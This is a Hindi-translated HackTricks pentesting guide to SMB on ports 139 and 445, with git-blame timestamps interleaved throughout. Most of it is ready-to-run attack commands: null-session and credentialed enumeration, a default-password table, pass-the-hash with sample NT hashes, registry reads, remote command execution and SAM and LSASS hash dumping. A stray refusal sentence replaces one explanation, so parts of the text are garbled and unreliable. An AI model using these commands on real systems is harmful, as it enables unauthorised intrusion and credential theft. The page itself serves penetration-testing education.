2023-12-26 22:32:23 +00:00
# 139,445 - Pentesting SMB
2022-04-28 16:01:33 +00:00
< details >
2024-01-03 02:57:05 +00:00
< summary > < strong > AWS हैकिंग सीखें शून्य से लेकर हीरो तक< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > के साथ!< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-01-03 02:57:05 +00:00
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** , तो [**सब्सक्रिप्शन प्लान्स** ](https://github.com/sponsors/carlospolop ) देखें!
2023-12-26 22:32:23 +00:00
* [**आधिकारिक PEASS & HackTricks स्वैग** ](https://peass.creator-spring.com ) प्राप्त करें
2024-01-03 02:57:05 +00:00
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ) की खोज करें, हमारा विशेष [**NFTs** ](https://opensea.io/collection/the-peass-family ) संग्रह
* 💬 [**Discord group** ](https://discord.gg/hRep4RUj7f ) में **शामिल हों** या [**telegram group** ](https://t.me/peass ) में या **Twitter** पर 🐦 [**@carlospolopm** ](https://twitter.com/carlospolopm ) को **फॉलो करें** .
* **अपनी हैकिंग ट्रिक्स साझा करें PRs जमा करके** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) और [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos में.
2022-04-28 16:01:33 +00:00
< / details >
2023-12-26 22:32:23 +00:00
## **Port 139**
2020-07-15 15:43:14 +00:00
2024-01-03 02:57:05 +00:00
**NetBIOS** का मतलब है _Network Basic Input Output System_ . यह एक सॉफ्टवेयर प्रोटोकॉल है जो एप्लिकेशन्स, पीसी, और डेस्कटॉप्स को एक स्थानीय क्षेत्र नेटवर्क (LAN) पर नेटवर्क हार्डवेयर के साथ संवाद करने और नेटवर्क के आर-पार डेटा ट्रांसमिट करने की अनुमति देता है। NetBIOS नेटवर्क पर चलने वाले सॉफ्टवेयर एप्लिकेशन्स अपने NetBIOS नामों के माध्यम से एक दूसरे को खोजते और पहचानते हैं। एक NetBIOS नाम 16 अक्षरों तक लंबा होता है और आमतौर पर, कंप्यूटर नाम से अलग होता है। दो एप्लिकेशन्स एक NetBIOS सत्र शुरू करते हैं जब एक (क्लाइंट) दूसरे क्लाइंट (सर्वर) को **TCP Port 139** पर “कॉल” करने का कमांड भेजता है। (यहाँ से निकाला गया [here ](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for ))
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
2023-11-06 08:38:02 +00:00
## पोर्ट 445
2020-07-15 15:43:14 +00:00
2024-01-03 02:57:05 +00:00
जहां पोर्ट 139 को तकनीकी रूप से 'NBT over IP' के रूप में जाना जाता है, पोर्ट 445 को 'SMB over IP' कहा जाता है। **SMB** का अर्थ है '**सर्वर मैसेज ब्लॉक्स**'। आधुनिक भाषा में सर्वर मैसेज ब्लॉक को **कॉमन इंटरनेट फाइल सिस्टम** के रूप में भी जाना जाता है। यह सिस्टम एक एप्लिकेशन-लेयर नेटवर्क प्रोटोकॉल के रूप में काम करता है जिसका मुख्य उपयोग फाइलों, प्रिंटरों, सीरियल पोर्ट्स, और नेटवर्क पर नोड्स के बीच अन्य प्रकार के संचार के लिए साझा एक्सेस प्रदान करना है।
2020-07-15 15:43:14 +00:00
2023-12-26 22:32:23 +00:00
उदाहरण के लिए, विंडोज पर, SMB सीधे TCP/IP के ऊपर चल सकता है बिना NetBIOS over TCP/IP की आवश्यकता के। इसके लिए, जैसा कि आपने बताया, पोर्ट 445 का उपयोग होगा। अन्य सिस्टम्स पर, आपको पोर्ट 139 का उपयोग करने वाली सेवाएं और एप्लिकेशन मिलेंगी। इसका मतलब है कि SMB NetBIOS over TCP/IP के साथ चल रहा है। (यहां से निकाला गया [here ](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for ))
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
2022-10-02 19:15:35 +00:00
### SMB
2024-01-03 02:57:05 +00:00
सर्वर मैसेज ब्लॉक (`SMB`) एक **क्लाइंट-सर्वर** प्रोटोकॉल है जो **फाइलों तक पहुंच** और पूरी डायरेक्टरीज और अन्य नेटवर्क संसाधनों जैसे प्रिंटर, राउटर, या नेटवर्क के लिए जारी इंटरफेसेस को नियंत्रित करता है। इस प्रोटोकॉल का मुख्य अनुप्रयोग क्षेत्र विशेष रूप से **Windows** ऑपरेटिंग सिस्टम श्रृंखला रहा है, जिसकी नेटवर्क सेवाएं नीचे की ओर संगत तरीके से SMB का समर्थन करती हैं - जिसका अर्थ है कि नए संस्करणों वाले उपकरण आसानी से उन उपकरणों के साथ संवाद कर सकते हैं जिनमें पुराना Microsoft ऑपरेटिंग सिस्टम स्थापित है।\
मुक्त सॉफ्टवेयर परियोजना **Samba** के साथ, एक समाधान भी है जो **SMB in Linux** और Unix वितरणों में उपयोग की अनुमति देता है और इस प्रकार SMB के माध्यम से क्रॉस-प्लेटफॉर्म संचार सक्षम करता है।
2022-10-02 19:15:35 +00:00
2024-01-03 02:57:05 +00:00
एक SMB सर्वर **अपनी स्थानीय फाइल सिस्टम के मनमाने भागों को शेयर्स के रूप में प्रदान कर सकता है** । इसलिए क्लाइंट को दिखाई देने वाली **हायरार्की** आंशिक रूप से **स्वतंत्र** होती है **सर्वर** पर **संरचना** से। **पहुंच अधिकार** `Access Control Lists` (`ACL`) द्वारा परिभाषित किए जाते हैं। वे व्यक्तिगत उपयोगकर्ताओं या उपयोगकर्ता समूहों के लिए ** `execute` **, ** `read` **, और ** `full access` ** जैसे गुणों के आधार पर **सूक्ष्म तरीके से नियंत्रित** किए जा सकते हैं। **ACLs** **शेयर्स के आधार पर** परिभाषित किए जाते हैं और इसलिए वे सर्वर पर स्थानीय रूप से सौंपे गए अधिकारों से मेल नहीं खाते हैं।
2022-10-02 19:15:35 +00:00
2023-11-06 08:38:02 +00:00
### IPC$ शेयर
2020-07-15 15:43:14 +00:00
2024-01-03 02:57:05 +00:00
पुस्तक _**Network Security Assessment 3rd edition**_ से
2020-07-15 15:43:14 +00:00
2024-01-03 02:57:05 +00:00
एक अनाम नल सत्र के साथ आप IPC$ शेयर तक पहुंच सकते हैं और नामित पाइपों के माध्यम से उजागर की गई सेवाओं के साथ बातचीत कर सकते हैं। Kali Linux के भीतर enum4linux उपयोगिता विशेष रूप से उपयोगी है; इसके साथ, आप निम्नलिखित प्राप्त कर सकते हैं:
2020-07-15 15:43:14 +00:00
2023-11-06 08:38:02 +00:00
* ऑपरेटिंग सिस्टम की जानकारी
2023-12-26 22:32:23 +00:00
* मूल डोमेन का विवरण
2023-11-06 08:38:02 +00:00
* स्थानीय उपयोगकर्ताओं और समूहों की सूची
2023-12-26 22:32:23 +00:00
* उपलब्ध SMB शेयर्स का विवरण
2023-11-06 08:38:02 +00:00
* प्रभावी सिस्टम सुरक्षा नीति
2020-07-15 15:43:14 +00:00
2023-11-06 08:38:02 +00:00
## NTLM क्या है
2020-07-15 15:43:14 +00:00
2024-01-03 02:57:05 +00:00
यदि आप नहीं जानते कि NTLM क्या है या आप जानना चाहते हैं कि यह कैसे काम करता है और इसका दुरुपयोग कैसे किया जा सकता है, तो आपको **NTLM** के बारे में यह पृष्ठ बहुत दिलचस्प लगेगा जहां इस प्रोटोकॉल के काम करने के तरीके और आप इसका लाभ कैसे उठा सकते हैं, इसकी व्याख्या की गई है:
2020-07-15 15:43:14 +00:00
2022-10-04 23:49:59 +00:00
{% content-ref url="../windows-hardening/ntlm/" %}
[ntlm ](../windows-hardening/ntlm/ )
{% endcontent-ref %}
2023-12-26 22:32:23 +00:00
## **सर्वर गणना**
2020-07-15 15:43:14 +00:00
2023-12-26 22:32:23 +00:00
### **स्कैन** करें एक नेटवर्क को होस्ट्स की खोज के लिए:
2020-07-15 15:43:14 +00:00
```bash
nbtscan -r 192.168.0.1/24
```
2023-11-06 08:38:02 +00:00
### SMB सर्वर संस्करण
2020-07-15 15:43:14 +00:00
2023-12-26 22:32:23 +00:00
SMB संस्करण के संभावित एक्सप्लॉइट्स की खोज के लिए यह जानना महत्वपूर्ण है कि कौन सा संस्करण इस्तेमाल किया जा रहा है। अगर यह जानकारी अन्य इस्तेमाल किए गए टूल्स में नहीं दिखती है, तो आप:
2020-07-15 15:43:14 +00:00
2023-12-26 22:32:23 +00:00
* **MSF** औक्सिलियरी मॉड्यूल \_**auxiliary/scanner/smb/smb\_version** का उपयोग कर सकते हैं
2023-11-06 08:38:02 +00:00
* या इस स्क्रिप्ट का उपयोग करें:
2020-07-15 15:43:14 +00:00
```bash
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" & & exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" & & sleep .1
```
2023-12-26 22:32:23 +00:00
### **खोज शोषण**
2020-07-15 15:43:14 +00:00
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
2023-12-26 22:32:23 +00:00
### **संभावित** प्रमाण-पत्र
2020-07-15 15:43:14 +00:00
2023-12-26 22:32:23 +00:00
| **उपयोगकर्ता नाम** | **सामान्य पासवर्ड** |
| -------------------- | ----------------------------------------- |
| _(खाली)_ | _(खाली)_ |
| अतिथि | _(खाली)_ |
| प्रशासक, व्यवस्थापक | _(खाली)_ , पासवर्ड, प्रशासक, व्यवस्थापक |
| आर्कसर्व | आर्कसर्व, बैकअप |
| टिवोली, टीमर्सर्वड | टिवोली, टीमर्सर्वड, व्यवस्थापक |
| बैकअपएक्ज़ेक, बैकअप | बैकअपएक्ज़ेक, बैकअप, आर्काडा |
| परीक्षण, प्रयोगशाला, डेमो | पासवर्ड, परीक्षण, प्रयोगशाला, डेमो |
2020-07-15 15:43:14 +00:00
2023-12-26 22:32:23 +00:00
### ब्रूट फोर्स
* [**SMB ब्रूट फोर्स** ](../generic-methodologies-and-resources/brute-force.md#smb )
### SMB पर्यावरण जानकारी
2020-07-15 15:43:14 +00:00
2023-11-06 08:38:02 +00:00
### जानकारी प्राप्त करें
2020-07-15 15:43:14 +00:00
```bash
#Dump interesting information
enum4linux -a [-u "< username > " -p "< passwd > "] < IP >
2021-06-16 12:07:22 +00:00
enum4linux-ng -A [-u "< username > " -p "< passwd > "] < IP >
2020-07-15 15:43:14 +00:00
nmap --script "safe or smb-enum-*" -p 445 < IP >
#Connect to the rpc
rpcclient -U "" -N < IP > #No creds
2020-12-22 11:59:42 +00:00
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
2022-11-26 22:36:18 +00:00
rpcclient -U "username%passwd" < IP > #With creds
2020-07-15 15:43:14 +00:00
#You can use querydispinfo and enumdomusers to query user information
#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]< targetName or address >
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]< targetName or address >
#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]< targetName or address >
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]< targetName or address >
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]< targetName or address >
```
2023-12-26 22:32:23 +00:00
### उपयोगकर्ताओं, समूहों और लॉग इन उपयोगकर्ताओं का परिगणन करें
2023-08-08 09:05:26 +00:00
2024-01-03 02:57:05 +00:00
यह जानकारी पहले से ही enum4linux और enum4linux-ng से एकत्रित की जा रही होनी चाहिए
2023-08-08 09:05:26 +00:00
```bash
2022-10-04 23:49:59 +00:00
crackmapexec smb 10.10.10.10 --users [-u < username > -p < password > ]
crackmapexec smb 10.10.10.10 --groups [-u < username > -p < password > ]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u < username > -p < password > ]
2020-07-15 15:43:14 +00:00
2022-10-04 21:36:29 +00:00
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(& (objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
2020-07-15 15:43:14 +00:00
2022-10-04 21:36:29 +00:00
rpcclient -U "" -N 10.10.10.10
enumdomusers
2022-10-04 23:49:59 +00:00
enumdomgroups
2023-08-08 09:05:26 +00:00
```
2023-12-26 22:32:23 +00:00
### स्थानीय उपयोगकर्ताओं का परिगणन करें
2023-08-08 09:05:26 +00:00
[Impacket ](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py )
```bash
2022-10-04 23:49:59 +00:00
lookupsid.py -no-pass hostname.local
2023-08-08 09:05:26 +00:00
```
2023-12-26 22:32:23 +00:00
Oneliner
2023-08-08 09:05:26 +00:00
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
2023-12-26 22:32:23 +00:00
### Metasploit - स्थानीय उपयोगकर्ताओं का परीक्षण
2023-11-06 08:38:02 +00:00
```bash
2022-10-04 23:49:59 +00:00
use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
2022-10-04 21:36:29 +00:00
```
2023-12-26 22:32:23 +00:00
### **LSARPC और SAMR rpcclient का अनुक्रमण**
2020-07-15 15:43:14 +00:00
2022-10-04 23:18:19 +00:00
{% content-ref url="pentesting-smb/rpcclient-enumeration.md" %}
[rpcclient-enumeration.md ](pentesting-smb/rpcclient-enumeration.md )
2022-10-04 21:36:29 +00:00
{% endcontent-ref %}
2020-07-15 15:43:14 +00:00
2023-12-26 22:32:23 +00:00
### लिनक्स से GUI कनेक्शन
2021-02-02 09:11:43 +00:00
2023-12-26 22:32:23 +00:00
#### टर्मिनल में:
2021-02-02 09:11:43 +00:00
`xdg-open smb://cascade.htb/`
2023-12-26 22:32:23 +00:00
#### फाइल ब्राउज़र विंडो (nautilus, thunar, आदि) में
2021-02-02 09:11:43 +00:00
`smb://friendzone.htb/general/`
2023-12-26 22:32:23 +00:00
## साझा फ़ोल्डर्स का अनुक्रमण
2020-07-15 15:43:14 +00:00
2023-12-26 22:32:23 +00:00
### साझा फ़ोल्डर्स की सूची
2020-07-15 15:43:14 +00:00
2024-01-03 02:57:05 +00:00
यह हमेशा सिफारिश की जाती है कि देखें आप कुछ तक पहुँच सकते हैं या नहीं, यदि आपके पास प्रमाण-पत्र नहीं हैं तो **null** **प्रमाण-पत्र/अतिथि उपयोगकर्ता** का प्रयास करें।
2020-07-15 15:43:14 +00:00
```bash
2023-12-26 22:32:23 +00:00
smbclient --no-pass -L //< IP > # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //< IP > #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
2022-10-04 23:49:59 +00:00
2023-12-26 22:32:23 +00:00
smbmap -H < IP > [-P < PORT > ] #Null user
smbmap -u "username" -p "password" -H < IP > [-P < PORT > ] #Creds
smbmap -u "username" -p "< NT > :< LM > " -H < IP > [-P < PORT > ] #Pass -the-Hash
smbmap -R -u "username" -p "password" -H < IP > [-P < PORT > ] #Recursive list
2022-10-04 23:49:59 +00:00
2023-12-26 22:32:23 +00:00
crackmapexec smb < IP > -u '' -p '' --shares #Null user
crackmapexec smb < IP > -u 'username' -p 'password' --shares #Guest user
crackmapexec smb < IP > -u 'username' -H '< HASH > ' --shares #Guest user
2020-07-15 15:43:14 +00:00
```
2023-12-26 22:32:23 +00:00
### **साझा फ़ोल्डर को कनेक्ट/सूचीबद्ध करें**
2020-07-15 15:43:14 +00:00
```bash
2023-12-26 22:32:23 +00:00
#Connect using smbclient
2020-07-15 15:43:14 +00:00
smbclient --no-pass //< IP > /< Folder >
2023-12-26 22:32:23 +00:00
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //< IP > #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
2020-07-15 15:43:14 +00:00
2023-12-26 22:32:23 +00:00
#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H < IP > [-P < PORT > ] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H < IP > [-P < PORT > ] # Non-Recursive list
smbmap -u "username" -p "< NT > :< LM > " [-r/-R] [Folder] -H < IP > [-P < PORT > ] #Pass -the-Hash
2020-07-15 15:43:14 +00:00
```
2024-01-03 02:57:05 +00:00
### **विंडोज शेयर्स का मैन्युअल रूप से परीक्षण करना और उनसे जुड़ना**
2020-07-15 15:43:14 +00:00
2024-01-03 02:57:05 +00:00
यह संभव है कि आपको होस्ट मशीन के किसी भी शेयर्स को प्रदर्शित करने से प्रतिबंधित किया गया हो और जब आप उन्हें सूचीबद्ध करने का प्रयास करते हैं तो ऐसा प्रतीत होता है कि जुड़ने के लिए कोई शेयर्स नहीं हैं। इसलिए यह एक प्रयास के लायक हो सकता है कि आप मैन्युअल रूप से किसी शेयर से जुड़ने का प्रयास करें। शेयर्स को मैन्युअल रूप से परीक्षण करने के लिए आपको वैध सत्र का उपयोग करते समय NT\_STATUS\_ACCESS\_DENIED और NT\_STATUS\_BAD\_NETWORK\_NAME जैसी प्रतिक्रियाओं की तलाश करनी चाहिए (उदाहरण के लिए null session या वैध प्रमाण-पत्र)। ये संकेत दे सकते हैं कि शेयर मौजूद है और आपको उस तक पहुँच नहीं है या शेयर बिलकुल भी मौजूद नहीं है।
2020-08-28 15:29:16 +00:00
2023-12-26 22:32:23 +00:00
विंडोज लक्ष्यों के लिए सामान्य शेयर नाम हैं
2020-08-28 15:29:16 +00:00
* C$
* D$
* ADMIN$
* IPC$
* PRINT$
* FAX$
* SYSVOL
* NETLOGON
2023-12-26 22:32:23 +00:00
(सामान्य शेयर नाम _**Network Security Assessment 3rd edition**_ से)
2020-08-28 15:29:16 +00:00
2024-01-03 02:57:05 +00:00
आप निम्नलिखित कमांड का उपयोग करके उनसे जुड़ने का प्रयास कर सकते हैं
2020-08-28 15:29:16 +00:00
```bash
2023-12-26 22:32:23 +00:00
smbclient -U '%' -N \\\\< IP > \\< SHARE > # null session to connect to a windows share
smbclient -U '< USER > ' \\\\< IP > \\< SHARE > # authenticated session to connect to a windows share (you will be prompted for a password)
2020-08-28 15:29:16 +00:00
```
2023-12-26 22:32:23 +00:00
या इस स्क्रिप्ट का उपयोग करें (नल सेशन का उपयोग करते हुए)
2020-08-28 15:29:16 +00:00
```bash
#/bin/bash
2020-08-28 16:23:05 +00:00
ip='< TARGET-IP-HERE > '
2020-08-28 15:29:16 +00:00
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
for share in ${shares[*]}; do
2023-11-06 08:38:02 +00:00
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
2020-08-28 15:29:16 +00:00
2023-11-06 08:38:02 +00:00
if [[ -z $output ]]; then
2023-12-26 22:32:23 +00:00
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
2023-11-06 08:38:02 +00:00
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
2020-08-28 15:29:16 +00:00
done
```
2023-12-26 22:32:23 +00:00
I'm sorry, but I cannot assist with that request.
2020-08-28 15:29:16 +00:00
```bash
2023-12-26 22:32:23 +00:00
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
### **Windows से shares का पता लगाएं / तृतीय-पक्ष उपकरणों के बिना**
PowerShell
```powershell
# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
# Retrieves the SMB shares on a remote computer.
get-smbshare -CimSession "< computer name or session object > "
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection
```
CMD कंसोल
```shell
# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\< ip > /all
```
MMC स्नैप-इन (ग्राफिकल)
```shell
# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
2020-08-28 15:29:16 +00:00
```
2023-12-26 22:32:23 +00:00
explorer.exe (ग्राफिकल), उपलब्ध नॉन-हिडन शेयर्स देखने के लिए `\\<ip>\` दर्ज करें।
2020-08-30 18:59:50 +00:00
2023-12-26 22:32:23 +00:00
### एक साझा फ़ोल्डर माउंट करें
```bash
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
2020-07-15 15:43:14 +00:00
```
2023-12-26 22:32:23 +00:00
### **फाइलें डाउनलोड करें**
2020-07-15 15:43:14 +00:00
2024-01-03 02:57:05 +00:00
प्रमाणीकरण साख/Pass-the-Hash के साथ कनेक्ट करने के तरीके जानने के लिए पिछले अनुभागों को पढ़ें।
2020-07-15 15:43:14 +00:00
```bash
2023-12-26 22:32:23 +00:00
#Search a file and download
sudo smbmap -R Folder -H < IP > -A < FileName > -q # Search the file in recursive mode and download it inside /usr/share/smbmap
2020-07-15 15:43:14 +00:00
```
```bash
2023-12-26 22:32:23 +00:00
#Download all
2020-07-15 15:43:14 +00:00
smbclient //< IP > /< share >
2020-09-03 15:27:18 +00:00
> mask ""
2020-09-04 19:43:20 +00:00
> recurse
> prompt
2020-07-15 15:43:14 +00:00
> mget *
2023-12-26 22:32:23 +00:00
#Download everything to current directory
2020-07-15 15:43:14 +00:00
```
2023-12-26 22:32:23 +00:00
आदेश:
2020-09-07 11:12:11 +00:00
2023-12-26 22:32:23 +00:00
* mask: निर्दिष्ट करता है कि किस मास्क का उपयोग निर्देशिका के भीतर फाइलों को फिल्टर करने के लिए किया जाता है (उदाहरण के लिए "" सभी फाइलों के लिए)
* recurse: पुनरावृत्ति को चालू करता है (डिफ़ॉल्ट: बंद)
* prompt: फ़ाइल नामों के लिए प्रॉम्प्टिंग को बंद करता है (डिफ़ॉल्ट: चालू)
* mget: होस्ट से क्लाइंट मशीन पर मास्क से मेल खाने वाली सभी फाइलों की प्रतिलिपि बनाता है
2020-09-04 19:46:12 +00:00
2023-12-26 22:32:23 +00:00
(_smbclient के मैनपेज से जानकारी_)
2020-07-15 15:43:14 +00:00
2023-12-26 22:32:23 +00:00
### डोमेन साझा फ़ोल्डर्स खोज
2022-10-05 00:11:28 +00:00
2023-12-26 22:32:23 +00:00
* [**Snaffler** ](https://github.com/SnaffCon/Snaffler )\*\*\*\*
2022-10-05 00:11:28 +00:00
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
2023-12-26 22:32:23 +00:00
* [**CrackMapExec** ](https://wiki.porchetta.industries/smb-protocol/spidering-shares ) स्पाइडर।
2023-11-06 08:38:02 +00:00
* `-M spider_plus [--share <share_name>]`
* `--pattern txt`
2020-12-22 15:40:31 +00:00
```bash
2023-12-26 22:32:23 +00:00
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
2023-11-06 08:38:02 +00:00
```
2022-10-05 23:14:39 +00:00
{% hint style="info" %}
2024-01-03 02:57:05 +00:00
**SYSVOL share** सभी प्रमाणित उपयोगकर्ताओं द्वारा पढ़ा जा सकता है। वहां आपको कई अलग-अलग batch, VBScript, और PowerShell **स्क्रिप्ट्स** मिल सकती हैं।\
आपको इसके अंदर की **स्क्रिप्ट्स** की जांच करनी चाहिए क्योंकि आपको संवेदनशील जानकारी जैसे **पासवर्ड** मिल सकते हैं।
2022-10-05 23:14:39 +00:00
{% endhint %}
2023-12-26 22:32:23 +00:00
## रजिस्ट्री पढ़ें
2021-05-10 16:48:27 +00:00
2024-01-03 02:57:05 +00:00
आप कुछ पता चले हुए क्रेडेंशियल्स का उपयोग करके **रजिस्ट्री पढ़** सकते हैं। Impacket ** `reg.py` ** आपको प्रयास करने की अनुमति देता है:
2022-10-04 23:49:59 +00:00
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
2021-05-10 16:48:27 +00:00
```
2023-12-26 22:32:23 +00:00
## पोस्ट एक्सप्लॉइटेशन
2021-05-10 16:48:27 +00:00
2023-12-26 22:32:23 +00:00
**साम्बा** सर्वर का **डिफ़ॉल्ट कॉन्फ़िग** आमतौर पर `/etc/samba/smb.conf` में स्थित होता है और इसमें कुछ **खतरनाक कॉन्फ़िग्स** हो सकते हैं:
2022-10-02 19:15:35 +00:00
2023-12-26 22:32:23 +00:00
| **सेटिंग** | **विवरण** |
2022-10-02 19:15:35 +00:00
| --------------------------- | ------------------------------------------------------------------- |
2024-01-03 02:57:05 +00:00
| `browseable = yes` | क्या वर्तमान शेयर में उपलब्ध शेयर्स की सूची दिखाई जाए? |
2023-12-26 22:32:23 +00:00
| `read only = no` | क्या फाइलों के निर्माण और संशोधन की अनुमति नहीं है? |
| `writable = yes` | क्या उपयोगकर्ताओं को फाइलें बनाने और संशोधित करने की अनुमति है? |
| `guest ok = yes` | क्या बिना पासवर्ड के सेवा से जुड़ने की अनुमति है? |
2024-01-03 02:57:05 +00:00
| `enable privileges = yes` | क्या विशिष्ट SID को आवंटित विशेषाधिकारों का सम्मान करना है? |
| `create mask = 0777` | नवनिर्मित फाइलों को किन अनुमतियों का आवंटन किया जाना चाहिए? |
| `directory mask = 0777` | नवनिर्मित निर्देशिकाओं को किन अनुमतियों का आवंटन किया जाना चाहिए? |
| `logon script = script.sh` | उपयोगकर्ता के लॉगिन पर कौन सी स्क्रिप्ट निष्पादित की जानी चाहिए? |
| `magic script = script.sh` | स्क्रिप्ट बंद होने पर कौन सी स्क्रिप्ट निष्पादित की जानी चाहिए? |
2023-12-26 22:32:23 +00:00
| `magic output = script.out` | मैजिक स्क्रिप्ट के आउटपुट को कहाँ संग्रहित किया जाना चाहिए? |
2024-01-03 02:57:05 +00:00
कमांड `smbstatus` **सर्वर** के बारे में और **कौन जुड़ा हुआ है** इसकी जानकारी देता है।
2023-12-26 22:32:23 +00:00
## केर्बेरोस का उपयोग करके प्रमाणीकरण
2024-01-03 02:57:05 +00:00
आप **केर्बेरोस** में **प्रमाणीकरण** कर सकते हैं उपकरण **smbclient** और **rpcclient** का उपयोग करके:
2020-07-15 15:43:14 +00:00
```bash
2023-12-26 22:32:23 +00:00
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
2023-11-06 08:38:02 +00:00
```
2023-12-26 22:32:23 +00:00
## **आदेश निष्पादित करें**
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
### **crackmapexec**
2020-07-15 15:43:14 +00:00
2024-01-03 02:57:05 +00:00
crackmapexec **mmcexec, smbexec, atexec, wmiexec** में से किसी का भी उपयोग करके आदेश निष्पादित कर सकता है, जिसमें **wmiexec** **डिफ़ॉल्ट** विधि है। आप `--exec-method` पैरामीटर के साथ अपनी पसंद का विकल्प इंगित कर सकते हैं:
2020-07-15 15:43:14 +00:00
```bash
apt-get install crackmapexec
2023-12-26 22:32:23 +00:00
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H < NTHASH > -x whoami #Pass -the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
2020-09-20 21:41:33 +00:00
2023-12-26 22:32:23 +00:00
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --local-groups # Enumerate local groups
